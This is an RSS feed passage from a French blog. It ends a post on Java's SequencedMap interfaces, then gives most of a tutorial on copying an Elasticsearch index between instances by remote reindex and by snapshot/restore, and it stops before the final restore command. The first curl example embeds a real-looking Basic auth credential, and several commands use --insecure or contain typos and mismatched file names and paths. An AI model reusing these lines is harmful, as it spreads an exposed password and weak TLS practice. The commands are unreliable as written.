&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Il est à noter la surcharge de la méthode &lt;code&gt;reverse()&lt;/code&gt; qui renvoie &lt;code&gt;SequencedSet&lt;/code&gt; au lieu d&amp;#8217;un simple &lt;code&gt;SequencedCollection&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;pour finir, nous avons une interface pour les maps avec l&amp;#8217;interface &lt;code&gt;SequencedMap&lt;/code&gt; :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;interface SequencedMap&amp;lt;K,V&amp;gt; extends Map&amp;lt;K,V&amp;gt; {
    // new methods
    SequencedMap&amp;lt;K,V&amp;gt; reversed();
    SequencedSet&amp;lt;K&amp;gt; sequencedKeySet();
    SequencedCollection&amp;lt;V&amp;gt; sequencedValues();
    SequencedSet&amp;lt;Entry&amp;lt;K,V&amp;gt;&amp;gt; sequencedEntrySet();
    V putFirst(K, V);
    V putLast(K, V);
    // methods promoted from NavigableMap
    Entry&amp;lt;K, V&amp;gt; firstEntry();
    Entry&amp;lt;K, V&amp;gt; lastEntry();
    Entry&amp;lt;K, V&amp;gt; pollFirstEntry();
    Entry&amp;lt;K, V&amp;gt; pollLastEntry();
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;implémentation&quot;&gt;Implémentation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De plus, les nouvelles interfaces sont intégrées dans la hiérarchie de classes et d&amp;#8217;interfaces existantes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image&quot;&gt;&lt;img src=&quot;/resources/img/blog/2023/09/SequencedCollectionDiagram20220216.png&quot; alt=&quot;SequencedCollectionDiagram20220216&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par exemple, nous avons :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;List&lt;/code&gt; réalise l&amp;#8217;interface &lt;code&gt;SequencedCollection&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Deque&lt;/code&gt; réalise l&amp;#8217;interface &lt;code&gt;SequencedCollection&lt;/code&gt; en plus de l&amp;#8217;interface &lt;code&gt;Queue&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;SortedSet&lt;/code&gt;  et &lt;code&gt;LinkedHashSet&lt;/code&gt; réalisent l&amp;#8217;interface &lt;code&gt;SequencedSet&lt;/code&gt; au lieu de directement &lt;code&gt;Set&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;SortedMap&lt;/code&gt; et &lt;code&gt;LinkedHashMap&lt;/code&gt; réalisent l&amp;#8217;interface &lt;code&gt;Sequencedmap&lt;/code&gt; au lieu de directement &lt;code&gt;Map&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;risques&quot;&gt;Risques&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il est à noter qu&amp;#8217;une analyse de risque a été faite. Lors de cette phase, des problèmes de compilation ont été identifiées sur 31 artefacts sur le corpus entier de Maven Central (soit un total de 37 377 artefacts). Cela représente seulement 0.08%. (Lien vers la page de l&amp;#8217;analyse est en référence, plus bas)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Là encore, le compilateur est notre allié.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.org/jeps/431&quot;&gt;JEP 431: Sequenced Collections&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://bugs.openjdk.org/browse/JDK-8266572&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Fiche détaillant l&amp;#8217;analyse de risque&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Elasticsearch - Comment copier un index sur une autre instance ?</title>
      <link>https://www.lilian-benoit.fr/2023/07/Elasticsearch-Comment-copier-un-index-sur-une-autre-instance.html</link>
      <pubDate>dim., 30 juil. 2023 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2023/07/Elasticsearch-Comment-copier-un-index-sur-une-autre-instance.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#utilisation_de_la_réindexation&quot;&gt;Utilisation de la réindexation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#utilisation_de_la_sauvegarde_et_restauration&quot;&gt;Utilisation de la sauvegarde et restauration&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#la_sauvegarde&quot;&gt;La sauvegarde&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#la_restauration&quot;&gt;La restauration&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous avons deux instances Elasticsearch distinctes (qui ne sont pas dans le même cluster).
Le but est de regarder ensemble les solutions qui existent pour copier un index d&amp;#8217;une instance à l&amp;#8217;autre.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image&quot;&gt;&lt;img src=&quot;/resources/img/blog/2023/07/comment-copier-in-index-entre-deux-instance-elasticsearch.png&quot; alt=&quot;comment copier in index entre deux instance elasticsearch&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous allons utiliser l&amp;#8217;outil &lt;code&gt;curl&lt;/code&gt; pour interagir avec elasticsearch. Comme cela est fortement conseillé depuis longtemps et par défaut maintenant, les accès sont sécurisés et protégés par un certificat SSL. Je suis resté avec le certificat auto-généré par défaut. C&amp;#8217;est pourquoi j&amp;#8217;ajoute l&amp;#8217;option &lt;code&gt;--insecure&lt;/code&gt; au niveau de la commande &lt;code&gt;curl&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;curl --request GET \
  --insecure    \
  --url https://ADR_IP_INSTANCE_A:9200/ \
  --header &apos;Authorization: Basic ZWxhc3RpYzo0ZFpQUFlTRExaSWpOQmFQUGZVUw==&apos;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voici le résultat :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;{
	&quot;name&quot;: &quot;localhost&quot;,
	&quot;cluster_name&quot;: &quot;elasticsearch&quot;,
	&quot;cluster_uuid&quot;: &quot;xJqE_y6GS2OuWNaNpSrn3A&quot;,
	&quot;version&quot;: {
		&quot;number&quot;: &quot;8.9.0&quot;,
		&quot;build_flavor&quot;: &quot;default&quot;,
		&quot;build_type&quot;: &quot;tar&quot;,
		&quot;build_hash&quot;: &quot;8aa461beb06aa0417a231c345a1b8c38fb498a0d&quot;,
		&quot;build_date&quot;: &quot;2023-07-19T14:43:58.555259655Z&quot;,
		&quot;build_snapshot&quot;: false,
		&quot;lucene_version&quot;: &quot;9.7.0&quot;,
		&quot;minimum_wire_compatibility_version&quot;: &quot;7.17.0&quot;,
		&quot;minimum_index_compatibility_version&quot;: &quot;7.0.0&quot;
	},
	&quot;tagline&quot;: &quot;You Know, for Search&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;utilisation_de_la_réindexation&quot;&gt;Utilisation de la réindexation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La première possibilité est de passer par une demande de réindexation de l&amp;#8217;instance B depuis un index hébergé sur l&amp;#8217;instance A.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Pré-requis : l&amp;#8217;instance A doit être accessible via le réseau pour l&amp;#8217;instance B.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il est nécessaire d&amp;#8217;ajouter l&amp;#8217;instance A dans la liste blanche comme source pour la réindexation au niveau de l&amp;#8217;instance B.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour cela, il faut modifier le fichier &lt;code&gt;elasticsearch.yml&lt;/code&gt; de l&amp;#8217;instance B pour rajouter la ligne suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;....
reindex.remote.whitelist: [ADR_IP_INSTANCE_A:9200]&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il sera nécessaire de redémarrer l&amp;#8217;instance afin que la configuration soit prise en compte.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant, il reste plus qu&amp;#8217;à lancer la commande pour démarrer la réindexation sur l&amp;#8217;instance B.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela se fait avec une simple commande &lt;code&gt;curl&lt;/code&gt; (ou équivalent permettant d&amp;#8217;utiliser la méthode POST)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;curl --request POST --insecure \
  --url httsp://ADR_IP_INSTANCE_B:9200/_reindex \
  --header &apos;Content-Type: application/json&apos; \
  --header &apos;Authorization: Basic CHAINE_ENCODE_A_RENSEIGNER_ICI&apos; \
  --data &apos;{
  &quot;source&quot;: {
    &quot;remote&quot;: {
      &quot;host&quot;: &quot;https://ADR_IP_INSTANCE_A:9200&quot;,
      &quot;username&quot;: &quot;elastic&quot;,
      &quot;password&quot;: &quot;MOT_A_PASSE_A_RENSEIGNER_ICI&quot;
    },
    &quot;index&quot;: &quot;mon-index&quot;,
    &quot;query&quot;: {
      &quot;match_all&quot;: {}
    }
  },
  &quot;dest&quot;: {
    &quot;index&quot;: &quot;mon-index&quot;
  }
}&apos;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Si tout se passe bien, vous obtenez le résultat suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;{
	&quot;took&quot;: 294,
	&quot;timed_out&quot;: false,
	&quot;total&quot;: 1,
	&quot;updated&quot;: 0,
	&quot;created&quot;: 1,
	&quot;deleted&quot;: 0,
	&quot;batches&quot;: 1,
	&quot;version_conflicts&quot;: 0,
	&quot;noops&quot;: 0,
	&quot;retries&quot;: {
		&quot;bulk&quot;: 0,
		&quot;search&quot;: 0
	},
	&quot;throttled_millis&quot;: 0,
	&quot;requests_per_second&quot;: -1.0,
	&quot;throttled_until_millis&quot;: 0,
	&quot;failures&quot;: []
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Vous pouvez utiliser la commande &lt;strong&gt;_stats&lt;/strong&gt; pour surveiller la réindexation&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Exemple avec &lt;code&gt;curl&lt;/code&gt; :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;curl --insecure --header &apos;Authorization: Basic CHAINE_ENCODE_A_RENSEIGNER_ICI&apos; \
     --url https://ADR_IP:9200/mon-index/_stats&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Consulter la &lt;a href=&quot;https://www.elastic.co/guide/en/elasticsearch/reference/current/docs-reindex.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;documentation de l&amp;#8217;Api REINDEX&lt;/a&gt; d&amp;#8217;elasticsearch. Cette dernière est très riche.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;utilisation_de_la_sauvegarde_et_restauration&quot;&gt;Utilisation de la sauvegarde et restauration&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;la_sauvegarde&quot;&gt;La sauvegarde&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La première étape est de définir un dépôt de sauvegarde (backup) au niveau de l&amp;#8217;instance A. Pour cela, nous modifions le fichier &lt;code&gt;elasticsearch.yml&lt;/code&gt; et rajouter la ligne suivante&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;path.repo: /datas/es-a/repo&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Pré-requis : le répertoire /datas/es-a/repo devra exister avant le redémarrage.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Un redémarrage de l&amp;#8217;instance A est nécessaire afin que la nouvelle configuration soit prise en compte.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A partir de ce moment, nous allons pouvoir passer à la seconde étape en définissant le répertoire pour la sauvegarde grâce à la commande &lt;code&gt;curl&lt;/code&gt; suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;curl --request POST \
  --insecure --header &apos;Authorization: Basic CHAINE_ENCODE_A_RENSEIGNER_ICI==&apos; \
  --url https://ADR_IP_INSTANCE_A:9200/_snapshot/backups \
  --header &apos;Content-Type: application/json&apos; \
  --data &apos;{
  &quot;type&quot;: &quot;fs&quot;,
  &quot;settings&quot;: {
    &quot;location&quot;: &quot;/datas/es-a/repo/backups&quot;
  }
}&apos;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous obtenons la réponse suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;{
	&quot;acknowledged&quot;: true
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant, nous allons pouvoir lancer la sauvegarde.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;curl --request POST \
  --insecure --header &apos;Authorization: Basic CHAINE_ENCODE_A_RENSEIGNER_ICI&apos; \
  --url https://localhost:9200/_snapshot/backups/backup_20230730?wait_for_completion=true&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; L&amp;#8217;ajout du paramètre &lt;code&gt;wait_for_completion&lt;/code&gt; permet d&amp;#8217;attendre que l&amp;#8217;opération soit terminée. Ainsi quand la commande nous rend la main, la sauvegarde est faite.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Inversement, il est préférable d&amp;#8217;utiliser cette option si la sauvegarde s&amp;#8217;exécute dans un temps raisonnable.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voici le résultat (mon index &lt;code&gt;mon-index&lt;/code&gt; est très petit)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;{
	&quot;snapshot&quot;: {
		&quot;snapshot&quot;: &quot;backup_20230730&quot;,
		&quot;uuid&quot;: &quot;xXYjHpcDRHmRXlN9ey3XXA&quot;,
		&quot;repository&quot;: &quot;backups&quot;,
		&quot;version_id&quot;: 8090099,
		&quot;version&quot;: &quot;8.9.0&quot;,
		&quot;indices&quot;: [
			&quot;mon-index&quot;,
			&quot;.security-7&quot;
		],
		&quot;data_streams&quot;: [],
		&quot;include_global_state&quot;: true,
		&quot;state&quot;: &quot;SUCCESS&quot;,
		&quot;start_time&quot;: &quot;2023-07-30T11:56:49.099Z&quot;,
		&quot;start_time_in_millis&quot;: 1691150209099,
		&quot;end_time&quot;: &quot;2023-07-30T11:56:49.299Z&quot;,
		&quot;end_time_in_millis&quot;: 1691150209299,
		&quot;duration_in_millis&quot;: 200,
		&quot;failures&quot;: [],
		&quot;shards&quot;: {
			&quot;total&quot;: 2,
			&quot;failed&quot;: 0,
			&quot;successful&quot;: 2
		},
		&quot;feature_states&quot;: [
			{
				&quot;feature_name&quot;: &quot;security&quot;,
				&quot;indices&quot;: [
					&quot;.security-7&quot;
				]
			}
		]
	}
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous allons pouvoir créer l&amp;#8217;archive. Pour cela, nous allons nous déplacer dans le répertoire où se trouve la sauvegarde. Dans notre cas, c&amp;#8217;est le répertoire &lt;strong&gt;/datas/es-a/repo/backups/backup_20230730&lt;/strong&gt;, puis de créer l&amp;#8217;archive avec la commande &lt;code&gt;tar&lt;/code&gt; en incluant toue le contenu du répertoire&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;cd /datas/es-a/repo/backups/backup_20230730
tar czvf ../backups-20230730.tar.gz *&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La sauvegarde est terminée.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;la_restauration&quot;&gt;La restauration&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous allons pouvoir continuer avec la restauration.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Comme tout à l&amp;#8217;heure, il est nécessaire de définir un dépôt &lt;strong&gt;repo&lt;/strong&gt; pour la restauration (restore) au niveau de l&amp;#8217;instance B. Pour cela, nous modifions sur le fichier &lt;code&gt;elasticsearch.yml&lt;/code&gt; et rajouter la ligne suivante&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;path.repo: /datas/es-b/repo&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Pré-requis : le répertoire /datas/es-b/repo devra exister avant le redémarrage.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Un redémarrage de l&amp;#8217;instance B est nécessaire afin que la nouvelle configuration soit prise en compte.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous allons créer physiquement le répertoire &lt;strong&gt;restore&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;cd /datas/es-b/repo
mkdir restore&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans le répertoire, il faut décompresser l&amp;#8217;archive précédente.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;cd /datas/es-b/repo/restore
tar xzvf backups-20230717.tar.gz
rm backups-20230717.tar.gz&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Vérifier que les droits des fichiers soient corrects. C&amp;#8217;est à dire que l&amp;#8217;utilisateur utilisé pour exécuter elasticsearch doit avoir les droits sur ces fichiers.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans un premier temps, nous allons déclarer le répertoire au niveau d&amp;#8217;Elasticsearch, avec la commande suivante:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;curl --request POST \
  --insecure --header &apos;Authorization: Basic CHAINE_ENCODE_A_RENSEIGNER_ICI&apos; \
  --url https://ADR_IP_INSTANCE_B:9200/_snapshot/restore \
  --header &apos;Content-Type: application/json&apos; \
  --data &apos;{
  &quot;type&quot;: &quot;url&quot;,
  &quot;settings&quot;: {
    &quot;url&quot;: &quot;file:/datas/socle/repo/restore&quot;
  }
}&apos;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous obtenons la réponse suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;{
	&quot;acknowledged&quot;: true
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous allons pouvoir lister les sauvegardes possibles :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;curl --request GET \
  --insecure --header &apos;Authorization: Basic CHAINE_ENCODE_A_RENSEIGNER_ICI&apos; \
  --url &apos;https://ADR_INSTANCE_B:9200/_snapshot/restore/*?verbose=false&apos;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous obtenons le résultat suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;{
	&quot;snapshots&quot;: [
		{
			&quot;snapshot&quot;: &quot;backup_20230730&quot;,
			&quot;uuid&quot;: &quot;xXYjHpcDRHmRXlN9ey3XXA&quot;,
			&quot;repository&quot;: &quot;restore&quot;,
			&quot;indices&quot;: [
				&quot;.security-7&quot;,
				&quot;mon-index&quot;
			],
			&quot;data_streams&quot;: [],
			&quot;state&quot;: &quot;SUCCESS&quot;
		}
	],
	&quot;total&quot;: 1,
	&quot;remaining&quot;: 0
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous avons bien notre sauvegarde &lt;strong&gt;backup_20230730&lt;/strong&gt; contenant deux index dont &lt;strong&gt;mon-index&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant, nous allons pouvoir lancer la restauration avec la commande suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
